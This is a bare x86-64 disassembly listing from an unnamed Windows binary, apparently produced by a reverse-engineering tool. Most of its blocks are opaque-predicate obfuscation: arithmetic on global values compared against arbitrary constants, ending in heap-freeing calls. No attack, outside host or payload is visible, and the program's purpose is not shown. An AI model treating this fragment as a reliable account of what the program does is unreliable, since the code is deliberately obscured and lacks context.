and ecx, 0xa58348bd
mov edx, eax
and edx, 0x5a7cb742
imul edx, ecx
mov ecx, eax
and ecx, 0xa58348bd
or eax, 0xa58348bd
imul eax, ecx
add eax, edx
cmp eax, 0x470c9f7a
jb 0x1401827aa
mov eax, dword [0x1415a0328]
mov ecx, dword [0x1415a032c]
not eax
mov edx, eax
and edx, ecx
or eax, ecx
not eax
or eax, edx
imul eax, eax, 0x1f12f263
imul rcx, rax, 0x2ca4239b
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1f
or eax, 0x1ce848a4
cmp eax, 0x3f05f437
jae 0x140182800
lea rdx, [0x1415789c1]
lea rcx, [rsp + 0xa0]
mov r8d, 4
call fcn.1401474b0
mov rax, qword [rsp + 0xa0]
cmp rax, r14
je 0x140183780
mov qword [rsp + 0x58], rax
mov r14, qword [rsp + 0xa8]
mov r13, qword [rsp + 0xb0]
add r13, r14
mov eax, dword [0x1415a0390]
and eax, dword [0x1415a0394]
imul eax, eax, 0x952176c7
mov ecx, eax
xor ecx, 0xb8b06323
add ecx, eax
and eax, 0x474f9cdc
sub ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x1e7fd552
and eax, 0xe1802aad
imul eax, edx
mov edx, ecx
and edx, 0xe1802aad
or ecx, 0xe1802aad
imul ecx, edx
add ecx, eax
cmp ecx, 0xb4688166
ja 0x140182881
mov eax, dword [0x1415a04f8]
or eax, dword [0x1415a04fc]
mov ecx, eax
xor ecx, 0xe24f9f71
or eax, 0x1db0608e
and eax, ecx
imul eax, eax, 0xb404193b
xor eax, 0x9d48d4ba
cmp eax, 0xcc3cb8ed
jb 0x140183780
mov eax, dword [0x1415a05f0]
sub eax, dword [0x1415a05f4]
or eax, 0x581a511
add eax, 0x89efcc4c
and eax, 0x2e245afc
cmp eax, 0x23df36e0
ja 0x140183ac0
mov dil, 1
test bpl, bpl
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x90]
jne 0x14017dbed
jmp 0x14017aea2
mov eax, dword [0x1415a07f0]
sub eax, dword [0x1415a07f4]
add eax, 0xdda9aa7e
ud2
ud2
mov eax, dword [0x1415a0bf8]
xor edx, edx
div dword [0x1415a0bfc]
mov ecx, eax
not ecx
or ecx, 0xaf8697f8
or eax, 0x50796807
and eax, ecx
mov ecx, 0x90643533
imul rcx, rax
shr rcx, 0x3e
add ecx, 0x56ae828a
mov qword [rsp + 0x130], 1
cmp ecx, 0xf1370c39
jbe 0x140185db3
mov qword [rsp + 0x130], 1
jmp 0x140185d5f
mov eax, 1
jmp 0x14017e8b5
mov ecx, dword [0x1415a1108]
mov eax, dword [0x1415a110c]
mov edx, eax
not edx
and edx, ecx
xor eax, ecx
add eax, ecx
sub eax, edx
mov ecx, eax
not ecx
and ecx, 0xec4c7f3c
mov edx, eax
and edx, 0x13b380c3
imul edx, ecx
mov ecx, eax
and ecx, 0xec4c7f3c
or eax, 0xec4c7f3c
imul eax, ecx
add eax, edx
mov ecx, eax
not ecx
or eax, 0x66afb7df
or ecx, 0xdddb69a7
and ecx, eax
cmp ecx, 0x85848770
ja 0x1401866f7
cmp qword [rsp + 0x150], 0
je 0x14018679e
mov rsi, qword [rsp + 0x158]
mov eax, dword [0x1415a1110]
imul eax, dword [0x1415a1114]
mov ecx, eax
xor ecx, 0xd8811002
and ecx, eax
and ecx, 0xd8a1d002
or ecx, 0x71626dd
cmp ecx, 0x48fc3aa
jae 0x140186795
mov rax, qword [rsp + 0x160]
mov ecx, dword [0x1415a1118]
mov edx, dword [0x1415a111c]
not ecx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov r8d, ecx
or r8d, 0x4ff98331
and edx, 0xa0007846
mov r9d, r8d
and r9d, 0x166706a8
imul r9d, edx
and r8d, 0xe998f957
or ecx, 0xeff9fb77
imul ecx, r8d
add ecx, r9d
cmp ecx, 0x7aa1609c
je 0x1401867a6
cmp qword [rsp + 0x80], 0
mov ebp, dword [rsp + 0x148]
mov rdi, qword [rsp + 0x60]
je 0x1401870e4
mov rax, qword [rsp + 0x1b0]
nop dword [rax]
mov ecx, dword [0x1415a1180]
or ecx, dword [0x1415a1184]
imul rcx, rcx, 0xd1a9211
shr rcx, 0x3b
lea edx, [rcx - 0x7f0be1a2]
xor edx, 0x441c38c5
or edx, ecx
add edx, 0x64a13de
cmp edx, 0x78a38547
jb 0x1401870f0
test rax, rax
je 0x140187144
mov r8, qword [rsp + 0x1b8]
mov rcx, qword [0x1415acb98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x140183ac0
mov eax, dword [0x1415a1188]
mov ecx, dword [0x1415a118c]
mov edx, eax
or edx, ecx
not edx
not eax
not ecx
and ecx, eax
or ecx, edx
mov eax, ecx
xor eax, 0x4c14182
xor ecx, 0x792c347c
or eax, 0xda3eae35
and eax, ecx
cmp eax, 0x64f748e8
ja 0x14018714d
mov bl, 1
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call fcn.14020ae70
test bl, bl
jne 0x140183ac0
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call rsi
jmp 0x14018718b